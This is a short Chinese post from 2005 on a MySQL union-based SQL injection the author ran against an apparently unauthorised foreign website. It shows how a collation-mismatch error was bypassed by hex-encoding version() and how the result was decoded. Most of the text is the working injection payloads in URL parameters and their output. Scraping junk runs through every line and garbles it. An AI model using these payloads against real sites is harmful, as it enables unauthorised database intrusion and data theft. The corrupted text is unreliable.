本文作者:SuperHei- o% o' G& m# G `$ m, I* T) D
文章性质:原创
0 i5 I9 T. h7 _* ]发布日期:2005-10-18
8 T9 R) f7 p& N" Z1 c) J测试个国外的站时:' [; g) W7 i2 ]- a/ d' ~
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*. m: A$ W4 b [& Q6 O' k5 Z
返回错误:8 A7 l- @! M5 r# s4 F8 m
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
; v! S, e. B2 U0 xMySQL Error No. 126
$ b4 @2 w: Z; @& z2 e" S: h p L! z看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。4 _" b. z7 B. Q% h1 Y) R" i! S
解决办法:转为其他编码如hex。
; U" M- t6 n$ H' x/ Murl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
: a& u: ^' [& `: [, C; }- T2 S# V成功得到hex(version())的值为: k4 ]0 f, ~- T0 k2 b: V
342E312E332D62657461( O: {# j- @$ ?3 _
回Mysql查询下得到:& u" l* t; |) k
mysql> select 0x342E312E332D62657461;$ S8 ?( e" I. g6 e
+------------------------+
! M, u5 `/ b0 h" ~/ N6 f" I| 0x342E312E332D62657461 |) G9 g( X+ ]& A( _; O9 e6 I: t# @
+------------------------+
0 m1 G" T3 B% E9 y8 e| 4.1.3-beta |5 V, ~3 M: @5 A' M# n4 _! \" a9 t
+------------------------+) X4 x. L' C% n2 O
1 row in set (0.00 sec)! |8 J0 L4 N+ B' ^0 |0 K
- i4 b0 k' h/ S- U6 w. {* J, U |